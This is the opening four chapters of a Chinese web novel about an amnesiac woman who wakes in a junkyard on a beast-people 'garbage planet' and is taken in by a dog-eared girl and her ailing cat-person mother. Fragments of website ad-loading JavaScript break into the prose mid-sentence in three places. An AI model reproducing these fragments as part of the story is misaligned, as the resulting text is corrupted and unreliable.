《兽人世界生活指南》 1. 这下谁还分得清我和垃圾啊 当沈莫失醒来的时候,她发现自己不记得任何事,甚至是这个名字都是在她神游了一阵子后才突兀划过脑海的。 她不确定这是不是自己的名字,还是说是什么自己刻骨铭心的恋人、仇人的名字,但是作为人,总归是需要一个名字的,那么不管这个名字之前是谁的,现在都是她的名字了。 愉快地为自己取名后,沈莫失终于愿意从平躺状态坐起身来,就像是刚从一场美梦中醒来一般,环视一圈,阳光还不错,吹来的风里没有什么令人作呕的味道,目之所及之处也没有任何胡乱飞舞的不明生物。 至于为何要特别关注一下味道和不明生物的问题,当然是因为这里很明显——是一座垃圾场。 不过可能是由于休息得不错,今天天气也不错,即使发现周围只有垃圾也没有让沈莫失的内心产生任何不好的情绪。 毕竟谁知道自己是不是这些垃圾里的一员呢,虽然是垃圾,但这也可能是自己的同类。 沈莫失拍了怕身边疑似同类的铁疙瘩,扶着人家站了起来,活动活动有些僵硬的关节,悠闲地伸了个懒腰,从喉咙里发出一阵不可名状的声音后,才终于把视线放到了自己身上。 沈莫失检查了一遍自己,从头到脚,没觉得自己多了或者少了什么奇怪的东西,还是两只眼睛两只耳朵一只鼻子一张嘴,每只手的手指有且只有五根,脚趾也一样。 嗯,很好,是个正常人类的样子。 再看衣着,她穿着一身宽松的T恤,衣摆掖进休闲的长裤里,外罩一件长袖条纹衬衣。 沈莫失掏了掏口袋,在衬衣内侧发现了一张被精心塑封的照片,看着是一张全家福,但是照片上,除了一个人的相貌,其他人和背景都是模糊不清的样子,像是打满了马赛克。 再仔细观察这张照片,才发现,原来这不是一张被拍摄印刷出来的“照片”,而是一张几乎以假乱真的“画像”。 画像背面写着一段话,“愿你们一切安好——沈莫失”。 在周围摸索一圈,勉强找出一片破损的镜片,拿衬衣衣摆擦了擦,终于看清了她自己的面貌。 黑发黑眼,五官端正,脸上还有些婴儿肥,一头凌乱的披肩发。看着和画像上的人长得一样。 猜对了,沈莫失真的是她的名字。 她有些高兴,把画像塞回了衬衣内侧的口袋里。 除了以上这些,就只剩下一串项链了。 一根普通的黑绳串着一个小银环挂在沈莫失的脖子上,沈莫失捏起小环观察,这并不是一个完全光滑的环,一侧有一块明显的凹凸不平的地方,好像之前这里还连接着什么一样,不过现在已经断开了,所以看着只是个环的模样。 其余再没什么线索了,告别了铁疙瘩和临时镜子,沈莫失越过脚下的巨大齿轮,试图找到一条通往外界的道路。 这里满是金属制品,没有什么可以填饱肚子的东西,醒来有一阵子了,沈莫失多少觉得有些饿了。 在高处观察了一会儿,沈莫失发现远处有一条可供人行的通道,垃圾都被清理到了道路的两边,平时应该也是会有人来往的。 往那处通道行走需要攀过几座垃圾山,攀岩一座没有台阶的垃圾山不是一件容易的事情,不过沈莫失倒也并不觉得累,看来她的身体素质还不错。 在转过又一个垃圾山后,终于见到了平整的地面,意外之喜是,居然还有个活人。 那是一个十岁左右的小女孩,白发黑眼,长相普通,一个脑袋两只手,穿着一身花格子的连衣裙,没有什么奇怪的。 唯一让沈莫失感到疑惑的是,她的脑袋上为什么会有一对毛绒绒的耳朵? 沈莫失站在垃圾山上,这里与地面还有一段的高低差,再加上身高差,她完全可以俯视这个奇怪的小女孩。小女孩站在平地上,也抬头仰视着沈莫失。 沈莫失抬手挥了挥,“你好。”见到陌生人的时候先问好应该是没错的。 “你是谁?”女孩皱着眉看着沈莫失。 女孩的嘴型和沈莫失听到的话语并不吻合,不过有人提问的时候应该及时回答,这是礼貌,沈莫失暂时放下了疑惑,回道:“沈莫失。” “沈是你的姓?” “大概吧。” “你从哪来的?” “我不知道。” “你不知道?” “我失忆了。” 两人陷入了一阵沉默,沈莫失不确定重新挥手问好是否能重新开始这次对话,她觉得自己没有发挥好,这么小的孩子,她或许并不知道失忆是什么意思。现在好了,这么尴尬的场面,她不确定这是不是一个合适的询问耳朵的时机。 沈莫失的目光又被那对耳朵吸引了过去,那耳朵和头发一个颜色,毛绒绒的雪白,还时不时抖动两下,又像是牛奶布丁了。 她真的对此很好奇,为什么她自己没有呢?这么想着,沈莫失抬起手摸了摸自己的头顶,又摸了摸自己的耳朵。 女孩好奇地观察着面前的这个自称失忆的陌生人,见她面无表情,一言不发,还莫名其妙地摸自己的头,觉得这人或许真的是失忆了,或者就是脑子坏掉了。 “那你要不要跟我回家?”一个失忆了的人,或许正好。 如果有人邀请自己回家要怎么回答合适? “谢谢,那就打扰了。”沈莫失自觉自己回复得很恰当。 跟在女孩身后,沈莫失的注意力很难不被那对耳朵吸引住,以至于她过了好一阵子才发现,女孩的裙子下好像有什么东西在晃来晃去。 她对女孩而言长得太高了,俯视的角度看得并不真切,想要看得清楚就得趴下来或者把女孩的裙子掀起来。 沈莫失皱眉,这也太流氓了。便只能遗憾地作罢,但她猜测,这是一条白色的尾巴。 走了有好一阵子,才终于到了居民区,这里和刚才垃圾如山的场景完全不同,道路横平竖直,规划整齐,被打扫得很是干净,只有些落叶铺在地上,踩上去沙沙作响。 沈莫失打量周围,原来不是女孩奇怪,而是她自己奇怪,不少人都长着一对毛绒绒的耳朵,身后拖着各式各样有长有短的尾巴,还有些干脆就是颗兽头顶在脖子上,露出一双厚实的毛绒手掌拎着大包小包。 到了有人烟的地方,不知道是否是因为沈莫失东瞄西看的样子让人担心,女孩主动牵过了沈莫失的手,向她介绍这片社区,哪里是商场、哪里是住宿区等等,沈莫失听得很是认真。 街道两边的店铺门上写的都是陌生的文字,但沈莫失却能意会到那些文字的含义。 女孩的家,就在一片规整的居民区内,一路上已经有邻居在给女孩打招呼了,沈莫失这时候才知道女孩的名字叫红雪。 她在心里暗自反省,下次遇到陌生人应该先问清楚名字的,这也是正常的交往流程中的一环。 随着红雪进屋,第一印象就是普通但温馨的一家,客厅的位置安置了两张柔软的沙发,暖黄色的布料遮盖在沙发上,一边的原木桌案上散落着几本彩色的儿童读物。 红雪一进门就甩下沾满了灰尘的两只鞋,动作流畅地换上拖鞋往屋内跑,边跑边喊:“妈——妈——我回来啦。” 活泼的样子让沈莫失有些惊讶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,一路上,红雪都是一副成熟稳重的小大人的模样。 被墙和绿植遮掩住的走廊里探出一只猫头,让沈莫失惊讶了第二次,猫妈妈一身宽松的长袖长裤,毛绒绒的手臂一把拥住了奔过来的红雪。 沈莫失学着红雪脱了鞋,赤着脚站在玄关处。惊喜着抱住红雪的妈妈抬起头来,就注意到了门口的陌生人,疑惑又警惕地竖起耳朵看着沈莫失。 在妈妈打量着她的时候,沈莫失也打量着这位猫妈妈。 猫妈妈身材也并不高大,深灰色带花纹的毛发,深棕色的眼睛,看着是很温和很无害的长相——如果能忽略她脸上遍布的疤痕与右耳上的缺口的话。 与一身花格子连衣裙,被养得毛发油光水滑的红雪相比,这位妈妈要显得憔悴好多,是连伤疤都掩饰不住的憔悴。 沈莫失自己都很惊讶,自己居然能从一张猫脸上看出憔悴来。 猫妈妈低头问女儿,“宝宝,这是谁?” 在妈妈怀里蹭够了的红雪抬起头来,给两人作介绍,“沈莫失,这是我妈妈。” 再走到沈莫失身边,向妈妈介绍,“妈妈,这是沈莫失。” 沈莫失礼貌地向猫妈妈问好,“您好,您叫什么名字?” 猫妈妈依旧很警惕的样子,但还是回复道:“猎刀,你和我女儿是怎么认识的?” 沈莫失刚想解释一番垃圾山上的相遇,一旁的红雪就跳了出来,“妈妈,这是我捡来的女儿!” “什么?”沈莫失和猎刀虽然一个人脸,一个猫脸,但此时却表现出了极度相似的震惊表情。 “不是,这谁给我报的名儿?”沈莫失惊讶得胡言乱语。 猎刀看了她一眼,见她也是一脸疑惑的样子,选择了询问自家的宝贝女儿,“你怎么会找来个陌生人说要当女儿的?” “可我是在垃圾区捡到她的。”红雪回复得理直气壮。 猎刀陷入了一阵短暂的沉默,可能是在整理这二者之间的逻辑关系,最后大概是放弃了,“那也不能莫名其妙给人当妈,人家有自己的妈妈的。” “她失忆了!连自己家在哪都不知道了。”说着,红雪看向沈莫失,或许是在试图获取认可。 沈莫失点了点头,不管女儿和妈妈的问题,仅仅这件事的确如此。 猎刀好像被噎了一下,对沈莫失投去怀疑的目光,不再像之前那么警惕了。 接着她突然意识到现在的重点不是这个,继续盯着红雪说:“失忆了和给人家当妈完全是两回事,你问过人家愿不愿意给你当女儿了吗?” 红雪抓着沈莫失的手恳求道:“那你愿意给我当女儿吗?” 虽然不知道事情到底是怎么变成现在这种局面的,但是看着红雪清澈的双眼,沈莫失还是犹豫了一下。 当有人真诚地求自己一件事的时候,到底要不要答应呢? 这件事好像对自己也没什么损失的样子,红雪之前还把她从垃圾区领了出来,一路上给她介绍了周围的陌生环境。 红雪意识到沈莫失态度并不坚定,“我会照顾好你的,吃饭住宿都不用你操心。” 沈莫失的肚子很是应景地叫了几声。 她早在垃圾区的时候就开始饿了,由于时间久了一路上甚至开始忘记饿肚子这件事了,但现在一提到“吃”这个字眼,肚子就开始闹腾。 下定了决心的沈莫失眼神逐渐坚定,反手握住红雪的手叫道:“妈。”又看向一边对此感到匪夷所思的猎刀喊道:“姥。” 猎刀闻声踉跄了下,扶住了身边的墙壁,她算是懂了,她女儿这次出门是欺负傻子去了! 2. 外星人竟是我自己 在一阵兵荒马乱之后,猎刀终于勉强接受了红雪一定要给她找个孙女这件事,就当做自己家帮助了一位失忆的可怜人。 她上下打量着沈莫失,这人虽然没有记忆,脑子好像也有些问题,但是手脚健全,态度也挺礼貌,到时候教会常识,给她找份糊口的简单工作就差不多可以结束这段孽缘了。 披上外衣的猎刀无奈地吩咐红雪带着她的新女儿去把书房理一理,给沈莫失整理出个临时住宿的空间来,她去管理局报案,希望能有人来认领沈莫失。 不过大家都知道,被抛弃在垃圾区的人,不管是因为什么,大概率是不会有人来认领了的。 沈莫失跟着红雪往里走,打量着自己未来的新住处。 红雪家里是三室两厅,进门时候只看到了客厅和餐厅,往里是一段横向的走廊,由于做了隔断所以并不能直接看到内里的房间。 往里走左转据红雪的介绍是猎刀居住的主卧,右转后是红雪的卧室,斜对面是书房,尽头是卫生间。 门上都挂了木牌子,用端正的字迹刻上了房间主人的名字或是用途,红雪有些激动,双颊看着红扑扑的,“之后把书房的牌子换了,我给你也刻一个。” “嗯。”入乡随俗,这种道理她当然也是懂的。 要进入书房肯定会先经过红雪的卧室,卧室门没关,沈莫失一眼就看清了卧室里的景象。 被打扫得很干净,青绿色的被褥整齐地摊平在床上,暖黄色的纱帘半遮住窗外的景色,光线透进来显得柔和了许多。 再平常不过的一副景象了,不过沈莫失驻足在门前,低头掏出了自己的项链。 这个圆环在发热发光,越是接近红雪的房间,热度就越高,现在已经到了有些烫手的程度了。 “怎么了吗?”发觉沈莫失的异样,红雪疑惑地转过头来。 “我可以进去看看吗?”沈莫失一手拎着圆环,一手指着红雪的房间。 红雪歪头看着沈莫失手里提着的发光圆环,不明白这是什么高科技的照明设备,“怎么了吗?这是什么?” “我也不知道,但是感觉里面有什么东西在吸引我。”沈莫失如实回答 红雪一拍脑袋,“我忘了你什么都不记得了,不过我的房间里会有什么呢?” 虽然有所疑惑,不过进房间看看本就不妨碍什么,红雪先一步进了房间,示意沈莫失进门。 沈莫失在房间里走了一圈,最后停留在床前,虽然看不见,但是她直觉套着青绿色枕套的枕头下有着什么东西。 手上的圆环也越发烫手了。 “枕头下有放着什么东西吗?” 红雪竖起耳朵,惊疑地看了眼沈莫失,“有的,不过你是怎么知道的?底下的东西应该和你没有任何联系才对。” 说着,红雪掀开枕头,从底下摸出一串饰品,看着是某种金属打造的小孩玩具,一把刀、一把剑,还有一面小盾牌,都只有一个指节的大小。 “它怎么会发光的!”红雪诧异地喊道,目光不停地在沈莫失手中的环形吊坠和自己的饰品间游移。 “这、这只是最普通不过的材料打造的了,周围的小孩子都有的。” 从红雪手中接过饰品后,两者都不再发光发热了,安静地躺在沈莫失的手心,沈莫失的神色恍惚了一阵,回神后发现,自己被红雪扶着坐在了床上,她坐在自己身边,疑惑又担心地看着她。 “啊、这,这是我的钥匙。”沈莫失指着手上的环和饰品向红雪解释。 红雪对此并不理解,“钥匙?可这是我的护身符,陪我从小到大,是妈妈亲自去定做的。” “不不不,不是说这个,我是指,”沈莫失深吸一口气,试图让自己的表述更加清晰,“我的钥匙附在了你的护身符上,相当于,它暂借了你的护身符居住。” “就像你一样?”红雪有些了悟。 沈莫失蹙起眉试图动用自己的脑瓜子思索这两件事之间的相似处,随即点头,“没错,就是这样。” 红雪拿回了自己的护身符,翻来覆去地翻看,看不出有什么与之前不同的地方。 “你的钥匙可真厉害,它怎么做到的?” “额、这很难解释。”沈莫失再次试图转动脑袋,以一种红雪能够理解的方式去解释这件事。 看着对方苦思冥想的样子,红雪叹气,不为难这位失忆的人了,“算了我也不是那么想要知道这件事,那么你拿回你的钥匙了吗?” “我已经和钥匙建立了联系,随时可以召回它,不过,让它暂时留在你那里也不错。” “为什么?” “钥匙被分成了很多块,没有集齐就没办法修复,一块碎片和两块碎片对我来说没什么区别,并且即使只是碎片,也会保护持有者不受伤害。” “好厉害的高科技,不对!”红雪突然警觉地看向沈莫失,“你都记起来了?” “钥匙上保存了我的部分记忆,就是这枚碎片告诉我钥匙的用途的。”沈莫失看向红雪手中的护身符。 真是了不起的东西,现在科技已经发展到这种程度了吗?红雪惊奇地观察着沈莫失的银环和自己的护身符。 “所以这是你的护身符?” “可以这么说。” 沈莫失想着,这还是她的翻译器、云端数据库、穿越时空小帮手。 虽然目前因为不知名的原因分散成了好几块,穿越时空的能力已经被封锁了,但是翻译和储存记忆的能力还在起作用。 “也就是说,我只要集齐了另外的几片碎片,就可以找回我丢失的所有记忆了。” 沈莫失高兴起来,她很不喜欢头脑空白的状态,她想要知道自己到底经历了什么,是从哪里来的,又要往哪里去。 红雪的耳朵垂落下来,不知自己该说些什么,“那你要怎么去找这些碎片呢?” 沈莫失表情空白了一瞬,说出一句莫名其妙的话来,“替身使者是会相互吸引的!” 复杂的情绪被突如其来的一句话打断了,红雪发出疑惑的声音,“啊?这是什么意思?” 没想到说出这番话的沈莫失比红雪都要疑惑,“我也不知道,应该是指,钥匙会互相吸引……之类的?” “你的钥匙里都存放了些什么奇怪的记忆呀!”红雪哭笑不得,可是连沈莫失自己都不知道这些奇怪的话是从哪来的。 “帮我带着吧,多一个人带着,遇到另一块钥匙的几率也会更大些,如果它发光发热,就像今天这次一样,你就告诉我。” “是嘛?”红雪收起了护身符,重新放到了枕头底下,“那我就先帮你保管着了。” “谢谢,”沈莫失认真地向红雪道谢,“对于帮助了自己的人,应该予以报答,我有什么能帮到你的吗?” 红雪好笑地戳了戳一本正经的沈莫失的脑袋,“你能帮我什么呢?你只要好好待着别再失忆就好了。” 好好待着?这应该是办不到的。沈莫失想着,她还是打算多出去走动走动,一直待在一个地方要什么时候才能找齐记忆呢? “除了这个呢?我觉得我应该还是挺厉害的。”别问,问就是很自信。 女孩瞥了一眼她这毛发稀疏也没有鳞片的细胳膊,觉得自己都能把这手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 折了。 不过倒也没有戳穿她,像是教导小孩子一样教育自己的新女儿,“这可不是厉害不厉害的问题,很多问题都不是厉害就能解决的。” 这么说就是有问题没解决了,“可是你都没告诉我,怎么就知道我解决不了呢?” “告诉了你又能有什么结果吗?” “多一个人想办法嘛。” 来回几轮的劝说下,红雪拗不过自己叛逆的大女儿,老成地叹了口气,最后破罐子破摔地向沈莫失坦白,“那好吧,反正你迟早会知道的,妈妈她已经到紊乱症的晚期了。” 女孩说这话时绷着脸,但是神情很是平静,连耳朵都没什么特别的反应,沈莫失从她的脸上了解不到这所谓的“紊乱症”的严重性。 “紊乱症是什么?” 红雪一下子绷不住了,小手抹了一把脸说道,“我就知道,都说了你知道也改变不了什么,但没想到你连紊乱症是什么都不知道,你是外星人吧!” 红雪本意是吐槽沈莫失的无知,没想到沈莫失居然点了点头。 “你什么意思?”红雪觉得沈莫失是在开玩笑,不过又想到以她现在的认知水平好像也开不出这样的玩笑来。 沈莫失指了指自己,“我不是这个世界上的人。” “你是指你不是垃圾星上的人?” 原来这里就叫垃圾星啊,沈莫失回忆了下自己对这里的初印象,真是好一个形象的名字,“也可以这么说。” 红雪目瞪口呆,觉得她或许只是脑子坏掉了,“你果然是在开玩笑对吧,我们星球可是已经快百年没有外星人来过了。” 她不以为然,“你如果真的是外星人,今天领主大人都要来见你了。” “领主大人是谁?” 沈莫失觉得自己还有很多问题,不过鼓着脸的红雪已经把她推了出去。 “我们还要打扫卫生呢,你忘了吗?今天就这样吧,其他的事情我以后会慢慢教你的。” 她看出红雪今天已经不想和她再谈论这些事情了,便只向红雪承诺说:“我现在还不了解这里的力量体系,不过在我研究后,会对你和姥有个答复的。” 红雪并不放在心上,递给沈莫失一块抹布和口罩,自己把裙子提起来打结,露出底下的衬裤和雪白的尾巴,“好好好,我知道了,快去吧。” 唉,妈妈这么厉害的人都没办法的事情,这个小傻子能想出什么办法呢?不可能的。 沈莫失接过抹布眨眨眼,虽然红雪并没有把她的承诺放在心上,不过她可不会轻易许下诺言。 “把这里的东西理一理,放一部分到外面去,然后我给你铺个地铺,你暂时先睡着,之后我们一起去挑张你喜欢的床摆着。” 沈莫失随着红雪指示的动作观察这个之后要作为她的住所的地方。 这里原本是书房,一侧的墙壁全被打造成了书架,窗边放着一张长书桌,边上还有张小的,很明显,这是猎刀和女儿共用的书房。 剩下的地方零零碎碎地堆满了杂物,所幸都是用箱子整理好了堆放的,书房在平时也有打理,现在的工作量并不大。 正在抹灰的沈莫失注意到书架上有不少紊乱症相关的书籍,还有些零碎的杂志、报纸等等,便询问一边认真干活的红雪,“这些书我也可以看吗?” 红雪抽空瞄了一眼,“你看吧,别折了弄脏了就好。” “之后有问题可以来问你吗?” 红雪有些高兴地挺起胸脯,虽然面上没有显现出太多喜色,不过身后的尾巴摇来晃去几乎甩出残影,“来问嘛,妈妈就是要这么做的。” 3. 你是狗吧 沈莫失的视线很难不被那条雪白的尾巴吸引住,不知来源的规则划过脑海——down是狼,up是狗。 随即沈莫失摇头把不知名的规则甩出脑海。 连世界都变了,可不能把这些规则套用在这个世界的人身上,而且她总觉得这句话也不是什么正经分辨狼与狗的方法。 “你是狗吗?” “是哦。”红雪奇怪地看着突然询问的沈莫失,这不是一闻就知道了吗。 “说起来,”红雪上下打量着沈莫失,“你怎么连尾巴都没有?” “我是人呀。”沈莫失检索了一下自己为数不多的记忆,人怎么会有尾巴呢? “我也是人呀。” 红雪很是疑惑地回道,随即不知道脑海里脑补了些什么,对沈莫失的目光突然充满了关怀与包容,“没关系的,不是什么大问题,开开心心生活最重要了。” 虽然不知道红雪脑补了些什么,沈莫失直觉不是真相,但是自己现在记忆不全,也没办法反驳人家,只能暂时闭嘴。 平静无波地生活了几日,这几日沈莫失几乎没出过门,完全窝在原书房,现卧室里了解这个世界的常识。 她所在的这颗星球俗称垃圾星。 这并不是官方的称谓,在一些管理局出版的书籍中有基础介绍,星球编号为G-03-109,为第三联邦下的专门用于处理垃圾废物的星球之一,由几家跨星际的大企业共同管理使用。 不过说是第三联邦与企业负责管理,实际上就是红雪说的那样,已经有将近百年没有外星访客来了。 由于技术限制,本星球的人也无法独立与外界联系,完全就是与外界失联的状态。 大家基本都猜测,是因为这颗星球被联邦放弃了,原因也很明显。 星球上95%的区域都已经被各色的垃圾填满了,一个几乎无法再用于处理垃圾的垃圾星,被放弃再正常不过了。 沈莫失惊叹了一下几乎能填满一整个星球的垃圾量,接着就感到了疑惑。 这都星际时代了,居然还是使用最原始的方式直接丢弃吗? 嗯……倒也说不定这是最经济的方式。 对这个世界的科技水平和人文道德标准并不熟悉的沈莫失摇摇头不再纠结于这一点。 被放弃后的垃圾星——由于那个编号实在是太拗口了,沈莫失决定入乡随俗跟着红雪称呼——上还留有不少劳工、难民、通缉犯等等,不过更多的还是星球原住民。 经历了一段动荡的时光,局势平稳后,这些还存活着的人们在此繁衍生息,选择了忽视抛弃他们的第三联邦与各大公司,自治并逐渐形成了现有的局面。 现有的可居住区域被划分成了三大块,分别由三位领主管辖,不远不近、不冷不热地相处着。 她现在所在的地区,都是属于驯鹿领主陆岭的管理区。 陆岭即红雪口中的领主大人,据说是一位崇尚和平,关心领地居民的“好领主”,报纸上一片赞美之言——不然身为该领地里的媒体,又能对领主有什么评价呢? 沈莫失瞟了一眼报纸上的照片,只留下了对那对鹿角的印象。 驯鹿领地位于最南面,往北依次属于乌鸦领主与鬃狮蜥领主,据说一位贪财好色,一位暴虐不堪。 没有照片,不过那位鬃狮蜥领主给沈莫失留下了一点深刻的印象,因为她的名字真的好长——克拉芙季雅·格雷戈里·科洛莫罗。 她甚至敲了敲翻译器试图让它改一个容易记,或者至少容易读的翻译。 翻译器晃了晃表示自己尽力了,之后就装作一个再普通不过的银环不吱声了。 沈莫失自己想办法,光是称呼鬃狮蜥领主也够拗口的了,干脆根据这位的风评在心里简称她为暴君。 了解了所在地的基础情况后,沈莫失转战去了解所谓的“紊乱症”,正沉迷于新知识的海洋不可自拔时,就听到书房门外传来了敲门声。 这个点,红雪已经去上学了,猎刀应该也已经去上班了才对,在敲门前沈莫失没有听到家里有任何的动静。 疑惑的沈莫失没有应声,只是沉默地转头看着门口的方向。 门并没有反锁,所以即使沈莫失没有去应门,门也被缓缓地打开了。 门外并不是什么可疑的人,而是本应在上班的猎刀。 看到那张布满了伤疤的猫脸,沈莫失缓缓松了口气,因为是猫所以不容易发出声响吧。 这阵子,她还是能感受到猎刀对她的防备。 这很正常,任谁家里突然出现一个陌生人都不会那么容易接受的,作为那个打扰了别人家的陌生人,沈莫失很有自知之明地小心对待猎刀。 即便如此,她也逐渐融入了红雪与猎刀家的日常,这样下去的话,或许总有一天猎刀会不再那么警惕她的。 面对熟悉的猫妈妈,沈莫失主动开口,“怎么了吗?” 她看不出猎刀不上班来找她的目的,要从一张猫脸上观察出发生了什么实在是有点为难她了。 猎刀什么都没说,进门后反手关上了门,看不清情绪的猫妈妈逐渐凑近了坐着的沈莫失。 沈莫失再迟钝也察觉到不对劲了,放下书从椅子上站起身来。 她能感觉到猎刀正在仔仔细细地打量着她,不知发生了什么的沈莫失暂时没察觉到猎刀要对她动手,便也乖巧地站在原地任由她打量。 “你到底是怎么做到的?”猎刀好像结束了打量,歪头凝视着沈莫失的双眼。 平心而论,这么直直地凝视着一个人的双眼应该是很有威慑力的。 但由于猎刀是一位猫人,这么歪头看人的时候,在沈莫失眼里居然还有点萌。 不过沈莫失很快调整好了心态,专注于这次对话。 她反问道:“什么是怎么做到的?” 指自己被红雪领回家吗?其实这一点她自己也不太理解是怎么发生的。 “你几乎是一个空白的人。”猎刀喃喃着说出这句话。 “任何人都查不到与你相关的信息,你为什么出现在那里,到底是什么人,从哪里来,你的信息在被红雪捡到前几乎、不,完全就是空白的。” 她在收到消息时都不敢相信。 怎么可能会有人活着,但是从来没有留下过痕迹呢,她自认为自己都做不到这一点。 可事实就是如此,即使她再深入地调查也不能查到这个人的来历,她几乎就像是在那天从垃圾山里蹦出来的一样。 沈莫失明白猎刀的顾虑了,但这件事她从没想过要遮掩,“我不是这个世界的人。” “你不是垃圾星上的人?”猎刀充满怀疑地问。 不愧是母女,沈莫失点点头,“也可以这么理解。” 猎刀沉下了脸,露出明显的阴狠神色来,脸上的伤疤显得更加有存在感,完全不像是那个在女儿面前温柔可亲的妈妈形象了。 这一点母女俩也很像,可能这个世界上的人都是有两副面孔的吧,沈莫失这么说服自己。 “不管你来这里是要做什么,都不许把红雪牵扯进去。”猎刀压低了嗓音凑近沈莫失后说道。 沈莫失知道自己的身高大概是170,猎刀她目测是160左右,十厘米的身高差在很多时候已经可以形成一点威慑了。 不过这时候的猎刀浑身的毛发鼓起,瞪圆了一双猫瞳,显得比平常状态要威严多了,散发出危险的气息逼近了沈莫失。 但是沈莫失并不知道自己来这里是要做什么,并且自认为即使要做些什么,也不至于利用一个十岁的小孩子,所以猎刀的这番话语和动作完全没有威胁到她。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当然,直接跟人家说你这威胁没用可真是太会说话了。 这时候最好还是顺毛撸。 沈莫失摆出一副严肃的表情,希望猎刀能感受到她认真的态度,“放心吧,我不会把一个小孩子牵扯进来的。” 猎刀眯起眼缓缓退去,“你最好如此,不然我可不会放过你。” 沈莫失保持着陈恳的表情感叹道:“您可真是个关爱孩子的妈妈。” “我爱她就像爱着我自己。” 说完最后一番话,猎刀退出了房间。 在合上门的最后一刻,都没有背对着沈莫失,一双深棕色的猫瞳也保持着警惕的状态死死地盯住了她。 鉴于今天发生过的事情,沈莫失本以为晚餐的氛围多少会有些不同。 但她对猎刀的了解果然还是太少了些。 猎刀回到了那个温和善良又难掩憔悴的状态,就好像来书房威胁她的只不过是一个长得和猎刀一样、声音也一样的陌生人罢了。 沈莫失端正地坐在餐桌边,看着厨房里两人的默契配合。 猎刀人如其名,刀工十分不错,一直都是她负责食材的处理工作。 但是据红雪所说,猎刀的厨艺十分糟糕,从她当时扭曲的神色看来,这件事大概率是真的。 所以从红雪能拿起锅铲开始,家里就一直是她在负责烹饪。 不只是在三餐方面,实际上在这个家里,红雪负责了大部分的家务。 与最初红雪对她的承诺差不多,吃饭住宿都不用沈莫失自己操心,红雪把她照顾得很周到。 沈莫失最初不是很习惯这一点,虽然不记得自己的年龄,但她自认为是个健全的成年人了,是不应该要一个小孩子来照顾她的衣食住行的。 最初答应下来也不过是饿昏了头想讨口饭吃,自己也根本没把认妈这件事当做一件正经事情来看。 她相信在她和红雪的“母女关系”这一点上,猎刀和她是有共识的。 但是红雪好像没有,她真心把自己捡回来的沈莫失当作了一个需要她照顾的小宝宝,完全忽视了两人的年龄差。 最初沈莫失是想要帮忙负责一些家务活的,毕竟她暂时也没办法出门工作。 不过红雪对沈莫失想要负责家务这一点十分不满。 在沈莫失努力争取后也只是允许沈莫失负责自己房间内的卫生问题,一旦沈莫失想要参与进家务中来,红雪就打发她去看书,去研究去。 说是打发她去研究,但沈莫失直觉这只是红雪不想她做家务的一个借口。 ——红雪至今不觉得她能研究出什么来。 沈莫失不明白红雪为什么执着于这一点,她从猎刀正在迅速麻利地剁肉的身影上收回视线,即使是人家的亲妈猎刀,除了处理食材这件事,在其他家务上也是插不上手的。 她低着头若有所思,或许这就是这家人的相处模式吧。 餐桌上,大家会分享一些今天的所见所闻。 红雪会说说今天学到的新知识,还说到领主过阵子会来她们学校视察。 猎刀在一家小药店上班,会感叹一下遇到的病人的情况。 她所在的药店拥有售卖抑制剂的资格,沈莫失现在已经知道了,这是一种能够缓解紊乱症症状的药物。 也是因此,她经常会接待一些与她一样受到紊乱症折磨的病患,总是说着说着就低下声去,这时候餐桌上就会陷入短暂的沉默。 “妈妈……你会好起来的。” 红雪搁下碗筷,伸手牵住了猎刀轻抚,低声安慰道。 但这话她自己都不信,语气陈恳但又底气不足。 母女俩相互安慰着对方。 沈莫失这时候是插不上话的,她很有眼色地低头干饭,但是一直专注地观察着着两人。 4. 你住在妈妈心里 据她这阵子的了解,猎刀与红雪母女二人是这个世界上很典型的两类人。 一类人的兽化特征并不鲜明,比如红雪,往往只有耳朵、尾巴等零星的兽化特征,在这个世界上有个专有的称谓,沈莫失翻译为半兽人。 另一类则是与猎刀相似,被称为兽人,他们的兽化特征十分鲜明,从外表看来,几乎就是能够直立行走的动物。 两类人的特征两极分化很严重,几乎不存在中间地带,可这两类人又确实可能存在亲缘关系。 即半兽人可能生下半兽人,也可能生下兽人,概率有差别却也并不大。 一直困扰着猎刀的紊乱症,是只有兽人才会患上的一类疾病。 这是这个世界上的绝症之一,并且发病率相当高,可以说几乎每个兽人都会受到紊乱症的困扰,只分症状轻重的区别。 同时,每个人的症状又有所不同,猎刀的症状之一就是严重的焦虑与抑郁情绪。 她的情况已经算是控制得不错的了,再加上自己就在药店工作,抑制剂也不会缺,很少会把情绪外显出来。 红雪很担心猎刀什么都不表现出来会让病情变得更糟糕,所以每日的晚餐时间是个默认的情绪发泄口。 终于,两人擦干了眼泪,祈祷一声,“愿大地之母保佑我们。” 沈莫失动作迅速地放下碗筷,跟着两人一起祈祷了一句,脑海里回想关于大地之母的信息。 这是这个世界上的一个神话传说。 据说远古时期,大地之母创造了世间万物,她有两个女儿,在回归天地之前,祂赐予她们一块圆盘,后来两个女儿吵架分家了,一人带走一半,各自繁衍出自己的部族。 这块圆盘拥有不可思议的力量,所以一人的部族拥有了强大的身体素质,即兽人,一人的部族可以运用“神力”,即半兽人。 可由于圆盘并不完整,导致强大的身体素质带来了同样强大的反噬,而“神力”也被大大削弱了,成为了一种弱小并且无法释放于体外的能量。 沈莫失把这种能量简单翻译为“内力”,据说就是这种内力保护了半兽人不被紊乱症所困扰。 所以紊乱症到底是从何而来?神话故事可说服不了沈莫失。 各类杂书上的说法不一,唯一的共通点就是,紊乱症的来源是人的大脑。 普遍认为是大脑由于某种原因陷入了不知名的紊乱状态,才导致了兽人们或狂躁、或抑郁的情绪,发展到最后,不只是心理层面,身体机能也会受到影响。 从书上只能了解到这么多了,剩下的还是需要亲身看一看。 餐桌上,当着猎刀的面,沈莫失邀请红雪来自己的房间。 她希望了解一下所谓的“内力”,可能是因为这种力量太过弱小又无法外放,她完全感受不到这种力量在生活中的价值。 可是作为一种传说可以治疗紊乱症能量,总不能马虎放过了。 顺便也会适当观察一下半兽人的身体结构。 即使她知道自己这是在正经研究,这话说出来也有点可疑了,暂时还是别把这个意图告诉猎刀为好。 “可以啊。” 红雪没有任何迟疑地答应了,她本就答应过沈莫失,有什么问题都可以问的,“不过你连内力怎么用都忘了呀。” 